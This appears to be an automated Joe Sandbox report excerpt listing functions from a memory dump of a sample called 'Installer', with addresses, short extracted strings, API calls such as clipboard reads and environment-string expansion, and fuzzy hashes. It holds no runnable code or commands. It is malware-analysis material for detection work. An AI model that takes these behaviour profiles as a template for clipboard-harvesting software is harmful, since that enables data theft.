8U:W, xrefs: 00419FEE
54+*, xrefs: 00419CC5
8I#K, xrefs: 00419FD6
54+*, xrefs: 0041A185

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: 2E'G$54+*$54+*$54+*$8I#K$8U:W$XY$~Q6S
API String ID: 764372645-2390782495
Opcode ID: 0f80e1662aea17d897eb7f5cc82f5f76a7864b0803524b2c06bda07c8fcedbb3
Instruction ID: 2c3f929d4cabc55a225c70deac7f21d0ad3b9eba4449c3fe9de0e78d4448d8f9
Opcode Fuzzy Hash: 0f80e1662aea17d897eb7f5cc82f5f76a7864b0803524b2c06bda07c8fcedbb3
Instruction Fuzzy Hash: 3982067460A3409FD714CB24D990BABBBE2EBC6314F18882DE58587352D779DC92CB4B

Function 00417E1A Relevance: 9.7, APIs: 1, Strings: 4, Instructions: 937COMMON

Download Yara Rule

Strings

\xy>, xrefs: 00418912
A, xrefs: 00417BBC
54+*, xrefs: 00417FC5
S<.+, xrefs: 00417C0D, 00417C3A

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: 54+*$A$S<.+$\xy>
API String ID: 0-3685461857
Opcode ID: 38d5dddfc1d7d73f8303f266aa0984ee0180c9c2ce3074419444b47f20e9dfdf
Instruction ID: b9dae982806908fc93e9902a33def771db61ac40b6c91c0664327fad2570cd92
Opcode Fuzzy Hash: 38d5dddfc1d7d73f8303f266aa0984ee0180c9c2ce3074419444b47f20e9dfdf
Instruction Fuzzy Hash: 115212726183418BC725CF28C8A17ABB7E2FFD6314F18496EE4C58B391DB399846C746

Function 00433600 Relevance: 9.1, APIs: 6, Instructions: 130clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00433622
GetClipboardData.USER32 ref: 00433643
CloseClipboard.USER32 ref: 00433788

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: Clipboard$CloseDataOpen
String ID:
API String ID: 2058664381-0
Opcode ID: 9ace8d3d66c656d27122584beaa275d741043033d7610bd44cbfd8939ce7624b
Instruction ID: 5078fe84b0e2f8b0d482d572d4820ca8f51d2eda85a3955b293059345ad65239
Opcode Fuzzy Hash: 9ace8d3d66c656d27122584beaa275d741043033d7610bd44cbfd8939ce7624b
Instruction Fuzzy Hash: 9B41D4F480C7819FD700AF78D14A36ABFE0AB16345F04853ED48587641D37DA659C797

Function 00428770 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 291COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00428850
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 004288B5

Strings

efg, xrefs: 004289AF
_\efg, xrefs: 00428A38
A%g', xrefs: 004287AE

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: A%g'$_\efg$efg
API String ID: 237503144-2372333709
Opcode ID: a7a1f39499a5e99c848ff68f033dae6045633c5ac20e702f25ecc2a0062ac25d
Instruction ID: ccad30b6dcc476866ed8e691afcd1205d7334b7ec1782e1d821448a32adf35b5
Opcode Fuzzy Hash: a7a1f39499a5e99c848ff68f033dae6045633c5ac20e702f25ecc2a0062ac25d
Instruction Fuzzy Hash: 41A1ACB2E002688FEB148FA8DC917DEBBB1FB45304F5145B9D91AAB281DB3059468F94

Function 0041780D Relevance: 7.9, Strings: 6, Instructions: 427COMMON

Download Yara Rule

Strings

5k5u, xrefs: 004178A4
1c;m, xrefs: 0041788E
A, xrefs: 00417BBC
S<.+, xrefs: 00417C0D, 00417C3A
o4i, xrefs: 00417899
$w=q, xrefs: 004178AF

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: o4i$$w=q$1c;m$5k5u$A$S<.+
API String ID: 0-1763114429
Opcode ID: da2264087117273adc8f8cbb7abf3b3369941c733713fa4ddd61a4a78f3232fe
Instruction ID: afb31bd0c27c82544a17a6576629b60a2b4a96c899e5dad63360a4cbb890e339
Opcode Fuzzy Hash: da2264087117273adc8f8cbb7abf3b3369941c733713fa4ddd61a4a78f3232fe
Instruction Fuzzy Hash: D4D1ADB55093808BD7348F29C4A17EBB7E1EFD6314F05896ED4CA8B351EB785901CB86

Function 0040A770 Relevance: 7.9, Strings: 6, Instructions: 400COMMON

Download Yara Rule

Strings

./, xrefs: 0040A93D
E]Qw, xrefs: 0040AB35
j^h, xrefs: 0040A890
4=/U, xrefs: 0040A7DA
%751, xrefs: 0040A789
wNoL, xrefs: 0040A848

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: %751$./$4=/U$E]Qw$wNoL$j^h
API String ID: 0-997366216
Opcode ID: 9ad3b405c217e9d1e4c0f6edf70f746ac05b5820c8d0e78aa04361182b97f1d7
Instruction ID: 7a5dc0394ecbf34ac9b8307d7efc7bae40aec903ea1c7f0c69f60aa070f276f3
Opcode Fuzzy Hash: 9ad3b405c217e9d1e4c0f6edf70f746ac05b5820c8d0e78aa04361182b97f1d7
Instruction Fuzzy Hash: 12C19B7564C3444BD324EF6488502ABFBE39FC1304F19883DE4D5AB382D6B9C9168B8B

Function 00426190 Relevance: 6.5, Strings: 5, Instructions: 244COMMON

Download Yara Rule

Strings

@C, xrefs: 004262A4
pO, xrefs: 004262AC
*+, xrefs: 00426411
)L, xrefs: 0042629C
HR, xrefs: 004262B4

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: )L$*+$@C$HR$pO
API String ID: 0-3083683625
Opcode ID: 0aaee39fcba311e15bc1f38c0aae4a491dfa01ec6e052e56f652e43bf11aa76a
Instruction ID: 5fe24d867cb9075332fe1ade04ad22fabc6e99e6679ddeed31bd91dff5edfe56
Opcode Fuzzy Hash: 0aaee39fcba311e15bc1f38c0aae4a491dfa01ec6e052e56f652e43bf11aa76a
Instruction Fuzzy Hash: 637134B06493518BD310DF25E89166BBBF1EFD2360F58891DE4C18B391E7789505CB8B

Function 00418DE6 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 461COMMON

Download Yara Rule

Strings

-, xrefs: 00418E0A

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 6310d2c406e9cc477afe31215b7d1a469a2c990294c66a01fa1cb42ab7ab9bad
Instruction ID: 2db9ac68f453c0b2d94bf9f393f819a8b1a8f76bd3cef0c41518664d486a93b6
Opcode Fuzzy Hash: 6310d2c406e9cc477afe31215b7d1a469a2c990294c66a01fa1cb42ab7ab9bad
Instruction Fuzzy Hash: B0F114766183529BD714CF29C8906ABB7E2EFC9310F08896DE8C587391EB38DD45C752

Function 00415F19 Relevance: 5.3, Strings: 4, Instructions: 336COMMON

Download Yara Rule

Strings

54+*, xrefs: 004162E5
:_A, xrefs: 00415F34
7, xrefs: 00416177
gfff, xrefs: 0041621C

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: 54+*$7$:_A$gfff
API String ID: 0-323440868
Opcode ID: ef99c69aae7ebca8759eae803294edf467de6f070c2877fa02e645cc48d7660a
Instruction ID: 974855a4ab02da3001828df224cdb3c791939bff7d675949acd43d199703548e
Opcode Fuzzy Hash: ef99c69aae7ebca8759eae803294edf467de6f070c2877fa02e645cc48d7660a
Instruction Fuzzy Hash: 5EB13972A142118BD328CF38CC527EBBAD6EBC5314F0A867DD885DB395DB78980687C5

Function 00426EB0 Relevance: 5.3, Strings: 4, Instructions: 281COMMON

Download Yara Rule

Strings

OI, xrefs: 004277B0
*+, xrefs: 00427798
bxB, xrefs: 00427855
1>, xrefs: 00427687

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: *+$1>$bxB$OI
API String ID: 0-1035774624
Opcode ID: b638a3a3900de88040439206c35891a4249c7e51ff3c4424b8b62b3d3637280b
Instruction ID: 2bcf0024169a31bcf5d17f9542290146e57be21ae5465408edeec82165f3d5e6
Opcode Fuzzy Hash: b638a3a3900de88040439206c35891a4249c7e51ff3c4424b8b62b3d3637280b
Instruction Fuzzy Hash: 3791ECB46083808FD734DF24E852BAFB7A1FB82314F44492DE5898B241DB789946CB5B

Function 00416790 Relevance: 5.2, Strings: 4, Instructions: 248COMMON

Download Yara Rule

Strings

54+*, xrefs: 004169AF, 00416A2F
54+*, xrefs: 004167B5
MnA, xrefs: 00416A4D
54+*, xrefs: 004168C5

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: InitializeThunk
String ID: 54+*$54+*$54+*$MnA
API String ID: 2994545307-957495038
Opcode ID: 8f06322f8e6d6c7ea759cd23599a080b87f48ffbe2650b3fb3614bfedb925110
Instruction ID: dd597300f9b4ef6573e6ef65d23cc5c487566c46e2a7da0a635b7d7db396d5cc
Opcode Fuzzy Hash: 8f06322f8e6d6c7ea759cd23599a080b87f48ffbe2650b3fb3614bfedb925110
Instruction Fuzzy Hash: E261E97461D3808FD315CB3888907EBBBE5EB8A350F25896ED1D1C72A1D738D885CB5A

Function 0041E7A0 Relevance: 4.7, Strings: 3, Instructions: 938COMMON

Download Yara Rule

Strings

v, xrefs: 0041E98E
!&& , xrefs: 0041EE1A
2"\\, xrefs: 0041EE22

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: !&& $2"\\$v
API String ID: 0-66690623
Opcode ID: 4dfb5fb78e8a455e5ad835274cf3511fda185d48fb834496ef83a700337ad192
Instruction ID: e9b17d7d6cb25fd7e8af81ca0dca0c33645f5d3503e302bb4264f03f34b07c3b
Opcode Fuzzy Hash: 4dfb5fb78e8a455e5ad835274cf3511fda185d48fb834496ef83a700337ad192
Instruction Fuzzy Hash: 62527B7450C3818FC725CF25C8506AFBFE1AF96314F088A6EE8D54B392D7398946CB56

Function 0043A120 Relevance: 4.2, Strings: 3, Instructions: 478COMMON

Download Yara Rule

Strings

54+*, xrefs: 0043A188
54+*, xrefs: 0043A347
54+*, xrefs: 0043A600, 0043A308

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: InitializeThunk
String ID: 54+*$54+*$54+*
API String ID: 2994545307-26850336
Opcode ID: a67e97fda4feb9dd47d5dd4a0776e3bc287d4b57f4707a9353eb73cb6bf7ee0f
Instruction ID: d7f07654b581cdb91e5346d4e79727cc379c0b8875721e9d15300a6a5d61dc92
Opcode Fuzzy Hash: a67e97fda4feb9dd47d5dd4a0776e3bc287d4b57f4707a9353eb73cb6bf7ee0f
Instruction Fuzzy Hash: 0FD177357883009FDB14CB25C882A7BB7A2EBC9354F18A52EE5C557391C778EC06878B

Function 0042D306 Relevance: 4.0, Strings: 3, Instructions: 249COMMON

Download Yara Rule

Strings

F]EH, xrefs: 0042D67F
Uo#_, xrefs: 0042D752
[:, xrefs: 0042D762

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: F]EH$Uo#_$[:
API String ID: 0-1241761701
Opcode ID: d3126adfd973d3248ca04cd93e27acaf3fc7bc708df34f2fc2eacb6372e1e1a0
Instruction ID: b3be92acc381a827a91cc0f17c6e37e2be9106d66737dd4d561d2fb3aa3361bd
Opcode Fuzzy Hash: d3126adfd973d3248ca04cd93e27acaf3fc7bc708df34f2fc2eacb6372e1e1a0
Instruction Fuzzy Hash: 3C7158B4A083A19BD3198B3994A033BBBE09F97305F58856EF4D68B381D67D8C04C756

Function 0042D4D0 Relevance: 4.0, Strings: 3, Instructions: 221COMMON

Download Yara Rule

Strings

F]EH, xrefs: 0042D67F
Uo#_, xrefs: 0042D752
[:, xrefs: 0042D762

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: F]EH$Uo#_$[:
API String ID: 0-1241761701
Opcode ID: 36fd720ed8d6823c32771bfe1625822d316a9a8a9853b2f702ca3dab545584eb
Instruction ID: 2ffdbc668ff94129819068ea1ed793c8dcaee62cf96c99cff00229467904dbcf
Opcode Fuzzy Hash: 36fd720ed8d6823c32771bfe1625822d316a9a8a9853b2f702ca3dab545584eb
Instruction Fuzzy Hash: BF5168A4A093A18BD3188F2994A0337FFE09FE3305F58956EF4D68B381D67D8804C756

Function 0042D49A Relevance: 4.0, Strings: 3, Instructions: 218COMMON

Download Yara Rule

Strings

F]EH, xrefs: 0042D67F
Uo#_, xrefs: 0042D752
[:, xrefs: 0042D762

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: F]EH$Uo#_$[:
API String ID: 0-1241761701
Opcode ID: 4ffe94aedec0ee075d16d5ca1e3e2f6a888b7093a5e75b5c49b8c05ae89e53b4
Instruction ID: 0de7b66c928a3350a22ba3e9d9bb6f9889ec970dbe198820fd9a8fcea16b9496
Opcode Fuzzy Hash: 4ffe94aedec0ee075d16d5ca1e3e2f6a888b7093a5e75b5c49b8c05ae89e53b4
Instruction Fuzzy Hash: 785179B4A093A18BD3098B2994A033BFFE09FD3305F58955EF4D68B381D67D8804C756

Function 0042D64C Relevance: 4.0, Strings: 3, Instructions: 217COMMON

Download Yara Rule

Strings

F]EH, xrefs: 0042D67F
Uo#_, xrefs: 0042D752
[:, xrefs: 0042D762

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: F]EH$Uo#_$[:
API String ID: 0-1241761701
Opcode ID: 75d27e60beb243e9c3408e842da1e13c30d6f828246f723bff5a19cc79804c01
Instruction ID: 61dd48889cf855c270f3eeb86a6ea88740ffcb6d6eea17eed08dc00024456671
Opcode Fuzzy Hash: 75d27e60beb243e9c3408e842da1e13c30d6f828246f723bff5a19cc79804c01
Instruction Fuzzy Hash: 355166B0A093A18BD3088B2894A033BFFE09FD3305F58956EE4D68B381D67D8804C756

Function 0042BBE3 Relevance: 3.9, Strings: 3, Instructions: 198COMMON

Download Yara Rule

Strings

g, xrefs: 0042BCC4
0' :, xrefs: 0042BCB9
(, xrefs: 0042BD9A

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: ($0' :$g
API String ID: 0-2894493355
Opcode ID: 127e783f08fa03dc1526e31b0ee453c704f7bbf9130a5869e8a9e0373e6e0c28
Instruction ID: 82fddf1245ea9785951fab6b19b0e18f29a6b2d5cfba79b1b40d0bceeec468ca
Opcode Fuzzy Hash: 127e783f08fa03dc1526e31b0ee453c704f7bbf9130a5869e8a9e0373e6e0c28
Instruction Fuzzy Hash: F651F26531D3D24BDB298F3598653FBBBE2DB93304F5C496DC0CA87282DB3984068796

Function 0042BC53 Relevance: 3.9, Strings: 3, Instructions: 177COMMON

Download Yara Rule

Strings

g, xrefs: 0042BCC4
0' :, xrefs: 0042BCB9
(, xrefs: 0042BD9A

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: ($0' :$g
API String ID: 0-2894493355
Opcode ID: 60e313afede76628c7910cabc6e2c24f69d92bdb4d83de5ca37a98b6c8095f76
Instruction ID: ab1398b02a8a7281b2a45260371c8ad29eb33f1a8b52771f88fa1d3f98cb6ccb
Opcode Fuzzy Hash: 60e313afede76628c7910cabc6e2c24f69d92bdb4d83de5ca37a98b6c8095f76
Instruction Fuzzy Hash: 7341D37061C3D28ADB394F3494293FBBBE1DB93304F5849ADC0C987282DB394106879A

Function 0042BB19 Relevance: 3.9, Strings: 3, Instructions: 137COMMON

Download Yara Rule

Strings

g, xrefs: 0042BCC4
0' :, xrefs: 0042BCB9
(, xrefs: 0042BD9A

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: ($0' :$g
API String ID: 0-2894493355
Opcode ID: b96d02e88c0a58c109baa3d55930f9ba5c7ef7b50bcf42591470675d5c739625
Instruction ID: be085471faecc0e2517363bcce5a64cf4fe5eb468f05be4f0a344c56f6f7ae45
Opcode Fuzzy Hash: b96d02e88c0a58c109baa3d55930f9ba5c7ef7b50bcf42591470675d5c739625
Instruction Fuzzy Hash: 9031F46021C3D28ADB394F3494593FBBBE1DB93304F98496EC0C987292CB394106CB5A

Function 00427917 Relevance: 3.8, Strings: 3, Instructions: 30COMMON

Download Yara Rule

Strings

X, xrefs: 00427953
KNCI, xrefs: 00427943
AL7, xrefs: 0042793B

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: AL7$KNCI$X
API String ID: 0-2162001628
Opcode ID: 2d3aa0b5dc2908d3afa6b89691fa5862a8d4e30f209e389472789df3b9353774
Instruction ID: c1efb55ec262374922805156c2cb0b218ab5fdccaf3554e53de449f270c0e8b1
Opcode Fuzzy Hash: 2d3aa0b5dc2908d3afa6b89691fa5862a8d4e30f209e389472789df3b9353774
Instruction Fuzzy Hash: 27F0A9B011D3909BE350AF69969065FFBF8EF96320F502A2CFAD49B242C334C0018F46

Function 0042788F Relevance: 3.7, APIs: 2, Instructions: 692COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00427B68
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00427C72

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 5a29734b277b2e9b8358fa5ecbf45429ecc3aeb30d586a3974802221ebf8515b
Instruction ID: 247fa94026213c22a70afdfae02ba9db67c982c8a71b05e85d253056af3d2863
Opcode Fuzzy Hash: 5a29734b277b2e9b8358fa5ecbf45429ecc3aeb30d586a3974802221ebf8515b
Instruction Fuzzy Hash: FE324376A0C350CFD3108F29E88072EB7E1EF86314F19867DE99597391DB74E9018B8A

Function 00427A3F Relevance: 3.7, APIs: 2, Instructions: 668COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00427B68
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00427C72

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 5f34821947dbddbcf30ce221ada36af6612115f31c02cf9bf287c06683c0a9f8
Instruction ID: 345d3084dec7a3450128b1aec3c018c2bdda3eb4c1cf0a9ab4d6be0b7558935f
Opcode Fuzzy Hash: 5f34821947dbddbcf30ce221ada36af6612115f31c02cf9bf287c06683c0a9f8
Instruction Fuzzy Hash: 3B324476A0C350CFD3248F29E88071EB7E1EF86314F19867DE99597391DB34E9018B8A

Function 004146A0 Relevance: 3.5, Strings: 2, Instructions: 1049COMMON

Download Yara Rule

Strings

D]+\, xrefs: 00414D50
C=, xrefs: 004148BE

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: C=$D]+\
API String ID: 0-9813778
Opcode ID: b6a84abd2839b95c80c6a07005a96518be76de580fe6589eb625db292694bc81
Instruction ID: cd0c9bfdefc84b350a232778b7e2c0df60d2e4748fd71e5e92d8149e0538340d
Opcode Fuzzy Hash: b6a84abd2839b95c80c6a07005a96518be76de580fe6589eb625db292694bc81
Instruction Fuzzy Hash: 7F5223746093009BD7149F24EC81BABB7A1FFCA314F14492DE581973A1E738E946CB9A

Function 0041C900 Relevance: 3.1, Strings: 2, Instructions: 645COMMON

Download Yara Rule

Strings

!;P, xrefs: 0041C9DB
3;P, xrefs: 0041CA28

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: !;P$3;P
API String ID: 0-2962031992
Opcode ID: d5e4f07c2787d845fb65e5a98866e9f50cd63d594b10ba433d030bc227476e3b
Instruction ID: 40303969f341cab0190b7ffaf639a3eee83e9144fdcd8cc0720d9d15948ab37b
Opcode Fuzzy Hash: d5e4f07c2787d845fb65e5a98866e9f50cd63d594b10ba433d030bc227476e3b
Instruction Fuzzy Hash: 211275B2A50616CFCB048F68CC812EBBBB2FF55314F19856DD445AB391D338A892CBC4

Function 004227E0 Relevance: 2.9, Strings: 2, Instructions: 428COMMON

Download Yara Rule

Strings

10, xrefs: 00422874
.8, xrefs: 00422802

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: .8$10
API String ID: 0-814249144
Opcode ID: 32d5e060f1d652f2465254695c79ef22fd30b916abb47e7b2ed794c844420618
Instruction ID: 6ecdc93fcc257772eba09db5fa8149ff251927af64ff6b659e51a55be0f97946
Opcode Fuzzy Hash: 32d5e060f1d652f2465254695c79ef22fd30b916abb47e7b2ed794c844420618
Instruction Fuzzy Hash: 23C15B717083209BD724DF28D95163BF3E1EF91324F49892EE89697391E7B8E801C35A

Function 0041966B Relevance: 2.8, Strings: 2, Instructions: 250COMMON

Download Yara Rule

Strings

54+*, xrefs: 004195C5
L4, xrefs: 00419600

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: 54+*$L4
API String ID: 0-1428210418
Opcode ID: b8bc600fa4d70428250f3d62d1b0c4869235ddbcb5ebdaa6d2aff065ca03eef8
Instruction ID: b6df84392dfbbf32e231f27527d6559e31459186b39928bbcdb8bfc668edbfbe
Opcode Fuzzy Hash: b8bc600fa4d70428250f3d62d1b0c4869235ddbcb5ebdaa6d2aff065ca03eef8
Instruction Fuzzy Hash: 6691D1B56083419FD714CF29D8A1BABB7E2BFD5304F14492DE48A83251D738EC46CB5A

Function 00416C77 Relevance: 2.7, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

54+*, xrefs: 00416A75
MnA, xrefs: 00416A4D, 00416CBD

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: 54+*$MnA
API String ID: 0-3213807796
Opcode ID: f66647ee9ab0e35559181c8ae5c5de11cfb4496e1a8266f8898e9403b5961e50
Instruction ID: 6e584b5c880dee98a52d54ab6d2185dce934cf6ba25eebf79510f41c98d88442
Opcode Fuzzy Hash: f66647ee9ab0e35559181c8ae5c5de11cfb4496e1a8266f8898e9403b5961e50
